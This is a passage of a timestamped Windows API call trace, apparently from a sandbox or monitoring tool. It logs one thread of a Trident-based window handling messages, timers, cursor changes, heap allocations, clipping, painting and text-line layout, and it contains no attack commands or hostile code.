[0109.830] EnumChildWindows (hWndParent=0x1013a, lpEnumFunc=0x73450a73, lParam=0x1cf61c) returned 0
[0109.830] GetCurrentThreadId () returned 0x4e0
[0109.830] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf618 | out: lpPoint=0x1cf618) returned 1
[0109.830] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2d40
[0109.830] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5f8 | out: lpPoint=0x1cf5f8) returned 1
[0109.831] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2d40
[0109.831] GetCurrentThreadId () returned 0x4e0
[0109.831] IsWinEventHookInstalled (event=0x8005) returned 0
[0109.831] GetCurrentThreadId () returned 0x4e0
[0109.831] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0109.933] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0109.933] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0109.933] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0109.933] KillTimer (hWnd=0x1013a, uIDEvent=0x1000) returned 1
[0109.933] GetCurrentThreadId () returned 0x4e0
[0109.933] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0109.963] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0109.963] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0109.963] GetCapture () returned 0x0
[0109.963] WindowFromPoint (Point=0x0) returned 0x100f2
[0109.963] IsChild (hWndParent=0x1013a, hWnd=0x100f2) returned 0
[0109.964] GetMessageTime () returned 36036
[0109.964] GetMessagePos () returned 0x15f0363
[0109.964] KillTimer (hWnd=0x10136, uIDEvent=0x2000) returned 1
[0109.964] GetCapture () returned 0x0
[0109.964] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5cc | out: lpPoint=0x1cf5cc) returned 1
[0109.964] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0109.964] GetCurrentThreadId () returned 0x4e0
[0109.964] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0109.964] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0109.964] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0109.965] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0109.965] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0109.965] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0109.965] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0109.965] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0109.965] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0109.965] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0109.965] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0109.965] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0109.966] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x2a3, wParam=0x0, lParam=0x0, plResult=0x1cf6c4 | out: plResult=0x1cf6c4) returned 0x1
[0109.966] NtdllDefWindowProc_W () returned 0x0
[0109.966] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0109.966] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6c78 | out: hHeap=0x450000) returned 1
[0109.966] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0110.134] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0110.134] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0110.134] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0111.108] NtdllDefWindowProc_W () returned 0x0
[0111.108] NtdllDefWindowProc_W () returned 0x0
[0111.110] NtdllDefWindowProc_W () returned 0x1
[0111.111] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0111.111] GetCurrentThreadId () returned 0x4e0
[0111.111] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0111.111] WindowFromDC (hDC=0x1401007f) returned 0x1013a
[0111.111] GetDeviceCaps (hdc=0xa01025b, index=38) returned 32409
[0111.111] IntersectRect (in: lprcDst=0x1cf384, lprcSrc1=0x461d2c, lprcSrc2=0x461d1c | out: lprcDst=0x1cf384) returned 1
[0111.111] IntersectRect (in: lprcDst=0x1cf374, lprcSrc1=0x1cf374, lprcSrc2=0x1cf280 | out: lprcDst=0x1cf374) returned 0
[0111.111] IsRectEmpty (lprc=0x1cf374) returned 1
[0111.111] GetClipBox (in: hdc=0x1401007f, lprect=0x1cf374 | out: lprect=0x1cf374) returned 2
[0111.111] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48efe0 | out: hHeap=0x450000) returned 1
[0111.111] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x50) returned 0x48efe0
[0111.111] GetViewportOrgEx (in: hdc=0x1401007f, lppoint=0x1cf2a8 | out: lppoint=0x1cf2a8) returned 1
[0111.112] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1cf1ac | out: lprcDst=0x4967b8) returned 1
[0111.112] IntersectRect (in: lprcDst=0x1cf174, lprcSrc1=0x1cf174, lprcSrc2=0x1cf144 | out: lprcDst=0x1cf174) returned 1
[0111.112] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1cf164 | out: lprcDst=0x4967b8) returned 1
[0111.112] GetObjectType (h=0x1401007f) returned 0x3
[0111.112] GetDeviceCaps (hdc=0x1401007f, index=2) returned 1
[0111.112] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.112] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2d40) returned 0x1d040259
[0111.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.112] SelectClipRgn (hdc=0x1401007f, hrgn=0x1d040259) returned 2
[0111.112] DeleteObject (ho=0x1d040259) returned 1
[0111.112] SelectObject (hdc=0x1401007f, h=0x51007c0) returned 0x1900010
[0111.112] PatBlt (hdc=0x1401007f, x=0, y=0, w=1324, h=762, rop=0xf00021) returned 1
[0111.112] SelectObject (hdc=0x1401007f, h=0x1900010) returned 0x51007c0
[0111.112] SelectClipRgn (hdc=0x1401007f, hrgn=0x0) returned 2
[0111.112] SetViewportOrgEx (in: hdc=0x1401007f, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
[0111.112] GetCurrentThreadId () returned 0x4e0
[0111.112] GetCurrentThreadId () returned 0x4e0
[0111.113] NtdllDefWindowProc_W () returned 0x0
[0111.113] NtdllDefWindowProc_W () returned 0x0
[0111.113] NtdllDefWindowProc_W () returned 0x0
[0111.115] NtdllDefWindowProc_W () returned 0x1
[0111.116] NtdllDefWindowProc_W () returned 0x0
[0111.117] NtdllDefWindowProc_W () returned 0x0
[0111.117] NtdllDefWindowProc_W () returned 0x0
[0111.117] NtdllDefWindowProc_W () returned 0x0
[0111.117] NtdllDefWindowProc_W () returned 0x0
[0111.117] NtdllDefWindowProc_W () returned 0x0
[0111.117] NtdllDefWindowProc_W () returned 0x1
[0111.119] GetFocus () returned 0x0
[0111.119] SetFocus (hWnd=0x1013a) returned 0x0
[0111.119] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0111.119] GetMessageTime () returned 36207
[0111.119] GetMessagePos () returned 0x15f0363
[0111.119] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x1cf03c | out: plResult=0x1cf03c) returned 0x0
[0111.120] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0111.120] GetMessageTime () returned 36207
[0111.120] GetMessagePos () returned 0x15f0363
[0111.120] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x282, wParam=0x2, lParam=0x0, plResult=0x1cea6c | out: plResult=0x1cea6c) returned 0x0
[0111.120] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0111.120] SetTimer (hWnd=0x1013a, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000
[0111.120] GetCurrentThreadId () returned 0x4e0
[0111.120] GetCurrentThreadId () returned 0x4e0
[0111.120] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0111.120] GetMessageTime () returned 36207
[0111.120] GetMessagePos () returned 0x15f0363
[0111.120] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0111.121] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf1f0 | out: lpPoint=0x1cf1f0) returned 1
[0111.121] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf1f0 | out: lpPoint=0x1cf1f0) returned 1
[0111.121] GetCurrentThreadId () returned 0x4e0
[0111.121] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x7, wParam=0x0, lParam=0x0, plResult=0x1cf42c | out: plResult=0x1cf42c) returned 0x1
[0111.121] NtdllDefWindowProc_W () returned 0x0
[0111.121] GetCurrentThreadId () returned 0x4e0
[0111.122] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0111.122] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0111.122] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0111.122] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0111.122] GetCurrentThreadId () returned 0x4e0
[0111.122] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0111.122] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0111.122] GetMessageTime () returned 36207
[0111.122] GetMessagePos () returned 0x15f0363
[0111.122] GetCapture () returned 0x0
[0111.122] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0111.122] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0111.122] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0111.122] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.122] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0111.122] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0111.122] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0111.122] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0111.122] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0111.123] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.123] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0111.123] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0111.123] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.123] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0111.123] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0111.123] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.123] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0111.123] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0111.123] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.123] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0111.123] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0111.123] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0111.124] LsSetDoc () returned 0x0
[0111.124] LsCreateLine () returned 0x0
[0111.124] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.124] LsDestroyLine () returned 0x0
[0111.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.125] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0111.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0111.125] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0111.125] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0111.125] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0111.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.125] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0111.125] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0111.125] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0111.125] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0111.125] LsSetDoc () returned 0x0
[0111.125] LsCreateLine () returned 0x0
[0111.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.126] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0111.126] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0111.126] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.126] LsdnFinishRegular () returned 0x0
[0111.126] LsQueryLinePointPcp () returned 0x0
[0111.126] LsDestroyLine () returned 0x0
[0111.126] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0111.126] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.126] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0111.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0111.127] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0111.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0111.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0111.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6c78 | out: hHeap=0x450000) returned 1
[0111.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.127] SetTimer (hWnd=0x10136, nIDEvent=0x2001, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2001
[0111.127] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0111.127] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0111.127] GetCursor () returned 0x10003
[0111.127] ShowCursor (bShow=0) returned -1
[0111.127] SetCursor (hCursor=0x10005) returned 0x10003
[0111.127] ShowCursor (bShow=1) returned 0
[0111.128] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0111.129] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0111.129] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0111.129] GetMessageTime () returned 37190
[0111.129] GetMessagePos () returned 0x1c4031f
[0111.129] GetCapture () returned 0x0
[0111.129] GetCurrentThreadId () returned 0x4e0
[0111.129] GetCurrentThreadId () returned 0x4e0
[0111.129] GetCurrentThreadId () returned 0x4e0
[0111.129] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0111.129] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0111.129] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0111.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.129] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0111.129] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0111.129] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0111.129] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0111.129] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0111.129] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0111.129] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0111.129] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0111.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.129] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0111.129] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0111.129] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0111.129] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0111.129] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0111.129] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0111.129] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0111.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.129] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0111.130] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0111.130] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0111.130] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0111.130] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0111.130] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0111.130] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0111.130] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0111.130] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.130] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0111.130] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0111.130] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0111.130] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0111.130] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0111.130] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.130] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0111.130] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0111.130] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0111.130] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0111.130] LsSetDoc () returned 0x0
[0111.130] LsCreateLine () returned 0x0
[0111.130] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.131] LsDestroyLine () returned 0x0
[0111.131] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.131] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0111.131] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
